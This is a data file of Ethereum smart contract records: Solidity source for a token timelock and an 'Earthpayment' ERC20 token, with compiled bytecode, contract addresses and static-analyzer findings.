ffffffffffffffffffffffffffff1614151515610add57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610b1857600080fd5b8190508060066000600454815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610b7c57600080fd5b610b893360045483610cd9565b610b963360045483610c76565b610ba38360045483610d9f565b610bb08360045483610d3c565b7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef3384600454604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a1505050565b600060016000600454815260200190815260200160002060000154905090565b806006600084815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550505050565b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060008282540392505081905550505050565b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060008282540192505081905550505050565b806006600084815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505050505600a165627a7a7230582076e82435f2f5a27ba5b3f5b261b0e23075300dc4fa5be771fb9437e6d44f55320029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 3,251 |
0x3ee9ddcb406422a58c43408eeae46f5da2c28d58
|
/**
*Submitted for verification at Etherscan.io on 2021-07-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract TokenTimelock {
using SafeERC20 for IERC20;
// ERC20 basic token contract being held
IERC20 private immutable _token;
// beneficiary of tokens after they are released
address private immutable _beneficiary;
// timestamp when token release is enabled
uint256 private immutable _releaseTime;
constructor(
IERC20 token_,
address beneficiary_,
uint256 releaseTime_
) {
require(releaseTime_ > block.timestamp, "TokenTimelock: release time is before current time");
_token = token_;
_beneficiary = beneficiary_;
_releaseTime = releaseTime_;
}
/**
* @return the token being held.
*/
function token() public view virtual returns (IERC20) {
return _token;
}
/**
* @return the beneficiary of the tokens.
*/
function beneficiary() public view virtual returns (address) {
return _beneficiary;
}
/**
* @return the time when the tokens are released.
*/
function releaseTime() public view virtual returns (uint256) {
return _releaseTime;
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public virtual {
require(block.timestamp >= releaseTime(), "TokenTimelock: current time is before release time");
uint256 amount = token().balanceOf(address(this));
require(amount > 0, "TokenTimelock: no tokens to release");
token().safeTransfer(beneficiary(), amount);
}
}
|
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806338af3eed1461005157806386d1a69f1461006f578063b91d400114610079578063fc0c546a14610097575b600080fd5b6100596100b5565b6040516100669190610756565b60405180910390f35b6100776100dd565b005b61008161023a565b60405161008e9190610877565b60405180910390f35b61009f610262565b6040516100ac919061079a565b60405180910390f35b60007f000000000000000000000000d7ef6dc34f46b38b214c93170e6914b1e91d1a9e905090565b6100e561023a565b421015610127576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161011e906107d7565b60405180910390fd5b6000610131610262565b73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016101699190610756565b60206040518083038186803b15801561018157600080fd5b505afa158015610195573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101b991906105d0565b9050600081116101fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101f590610857565b60405180910390fd5b6102376102096100b5565b82610212610262565b73ffffffffffffffffffffffffffffffffffffffff1661028a9092919063ffffffff16565b50565b60007f0000000000000000000000000000000000000000000000000000000066871b60905090565b60007f00000000000000000000000021bfbda47a0b4b5b1248c767ee49f7caa9b23697905090565b61030b8363a9059cbb60e01b84846040516024016102a9929190610771565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050610310565b505050565b6000610372826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff166103d79092919063ffffffff16565b90506000815111156103d2578080602001905181019061039291906105a7565b6103d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103c890610837565b60405180910390fd5b5b505050565b60606103e684846000856103ef565b90509392505050565b606082471015610434576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b906107f7565b60405180910390fd5b61043d85610503565b61047c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047390610817565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040516104a5919061073f565b60006040518083038185875af1925050503d80600081146104e2576040519150601f19603f3d011682016040523d82523d6000602084013e6104e7565b606091505b50915091506104f7828286610516565b92505050949350505050565b600080823b905060008111915050919050565b6060831561052657829050610576565b6000835111156105395782518084602001fd5b816040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056d91906107b5565b60405180910390fd5b9392505050565b60008151905061058c81610ad9565b92915050565b6000815190506105a181610af0565b92915050565b6000602082840312156105b957600080fd5b60006105c78482850161057d565b91505092915050565b6000602082840312156105e257600080fd5b60006105f084828501610592565b91505092915050565b610602816108c4565b82525050565b600061061382610892565b61061d81856108a8565b935061062d818560208601610930565b80840191505092915050565b6106428161090c565b82525050565b60006106538261089d565b61065d81856108b3565b935061066d818560208601610930565b61067681610963565b840191505092915050565b600061068e6032836108b3565b915061069982610974565b604082019050919050565b60006106b16026836108b3565b91506106bc826109c3565b604082019050919050565b60006106d4601d836108b3565b91506106df82610a12565b602082019050919050565b60006106f7602a836108b3565b915061070282610a3b565b604082019050919050565b600061071a6023836108b3565b915061072582610a8a565b604082019050919050565b61073981610902565b82525050565b600061074b8284610608565b915081905092915050565b600060208201905061076b60008301846105f9565b92915050565b600060408201905061078660008301856105f9565b6107936020830184610730565b9392505050565b60006020820190506107af6000830184610639565b92915050565b600060208201905081810360008301526107cf8184610648565b905092915050565b600060208201905081810360008301526107f081610681565b9050919050565b60006020820190508181036000830152610810816106a4565b9050919050565b60006020820190508181036000830152610830816106c7565b9050919050565b60006020820190508181036000830152610850816106ea565b9050919050565b600060208201905081810360008301526108708161070d565b9050919050565b600060208201905061088c6000830184610730565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b60006108cf826108e2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006109178261091e565b9050919050565b6000610929826108e2565b9050919050565b60005b8381101561094e578082015181840152602081019050610933565b8381111561095d576000848401525b50505050565b6000601f19601f8301169050919050565b7f546f6b656e54696d656c6f636b3a2063757272656e742074696d65206973206260008201527f65666f72652072656c656173652074696d650000000000000000000000000000602082015250565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b7f546f6b656e54696d656c6f636b3a206e6f20746f6b656e7320746f2072656c6560008201527f6173650000000000000000000000000000000000000000000000000000000000602082015250565b610ae2816108d6565b8114610aed57600080fd5b50565b610af981610902565b8114610b0457600080fd5b5056fea264697066735822122052feb359113b84e58b98f5c964565da9ff68b53cc5593bbe3c76d4e6a111333064736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 3,252 |
0xd745a7883a6bd19389b6b9dc8580c2ff873f0cd1
|
pragma solidity ^0.4.21;
// File: contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
// File: contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Earthpayment is StandardToken, Ownable {
// Constants
string public constant name = "Earth payment";
string public constant symbol = "Epay";
uint8 public constant decimals = 7;
uint256 public constant INITIAL_SUPPLY = 21000000 * (10 ** uint256(decimals));
mapping(address => bool) touched;
function Earthpayment() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function _transfer(address _from, address _to, uint _value) internal {
require (balances[_from] >= _value); // Check if the sender has enough
require (balances[_to] + _value > balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
function safeWithdrawal(uint _value ) onlyOwner public {
if (_value == 0)
owner.transfer(address(this).balance);
else
owner.transfer(_value);
}
}
|
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017957806318160ddd146101d357806323b872dd146101fc5780632ff2e9dc14610275578063313ce5671461029e5780635f56b6fe146102cd57806366188463146102f057806370a082311461034a578063715018a6146103975780638da5cb5b146103ac57806395d89b4114610401578063a9059cbb1461048f578063d73dd623146104e9578063dd62ed3e14610543578063f2fde38b146105af575b600080fd5b34156100f657600080fd5b6100fe6105e8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013e578082015181840152602081019050610123565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b6101b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610621565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e6610713565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061071d565b604051808215151515815260200191505060405180910390f35b341561028057600080fd5b610288610ad7565b6040518082815260200191505060405180910390f35b34156102a957600080fd5b6102b1610ae8565b604051808260ff1660ff16815260200191505060405180910390f35b34156102d857600080fd5b6102ee6004808035906020019091905050610aed565b005b34156102fb57600080fd5b610330600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c36565b604051808215151515815260200191505060405180910390f35b341561035557600080fd5b610381600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b6040518082815260200191505060405180910390f35b34156103a257600080fd5b6103aa610f0f565b005b34156103b757600080fd5b6103bf611014565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561040c57600080fd5b61041461103a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610454578082015181840152602081019050610439565b50505050905090810190601f1680156104815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561049a57600080fd5b6104cf600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611073565b604051808215151515815260200191505060405180910390f35b34156104f457600080fd5b610529600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611292565b604051808215151515815260200191505060405180910390f35b341561054e57600080fd5b610599600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061148e565b6040518082815260200191505060405180910390f35b34156105ba57600080fd5b6105e6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611515565b005b6040805190810160405280600d81526020017f4561727468207061796d656e740000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561075a57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107a757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561083257600080fd5b610883826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610916826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109e782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600760ff16600a0a6301406f400281565b600781565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4957600080fd5b6000811415610bd057600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610bcb57600080fd5b610c33565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610c3257600080fd5b5b50565b600080600260003373fffffffffffffffff